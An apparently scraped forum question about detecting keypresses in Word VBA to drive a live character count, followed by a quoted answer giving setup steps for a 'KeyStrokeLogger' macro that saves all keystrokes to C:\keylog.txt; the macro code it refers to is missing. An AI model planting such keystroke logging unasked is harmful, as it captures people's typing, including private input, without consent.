Detecting when data is added to a document, eg. a character or white space

Question

Is there a way to detect when a user presses a key in Microsoft Word using VBA. I have searched for a method which does this. I have also searched for methods which create a way around this, such as detecting when the insertion point moves or it detects when a new character is placed in the word document, but I have had no look. I am currently using appWord_WindowSelectionChange(ByVal Sel As Selection) but this does not detect as you type.

I would appreciate anyone showing me how to either detect a keypress or would be able to show me a workaround which will accomplish the same goal.

Edit

I apologise if the summary of what I want above is not clear. What I have is a sub which fires using appWord_WindowSelectionChange(ByVal Sel As Selection). However what I want is this sub to fire whenever any data is entered into the word document, eg. a letter or a white space character. For example, if there was a character count in the footer of the word document and this sub which I have updates this character count, the character count field should update as the user types in the document.

*"How to use the above code:

Step 1 Create a new document in MS-Word.

Step 2 Go to Tools, Macro, Visual Basic Editor

Step 3 Double click on ThisDocument Object under Project(Document1) in the Project Window.

Step 4 Copy the above code and paste it into the Visual Basic Editor.

Step 5 Close the Visual Basic Editor and save the document.

Step 6 Ensure that macros are enabled. To start logging keystrokes at any time click on Tools, Macro, Macros. Select KeyStrokeLogger and click Run. All the keystrokes will be stored in C:\keylog.txt. "* LinkBack to Post
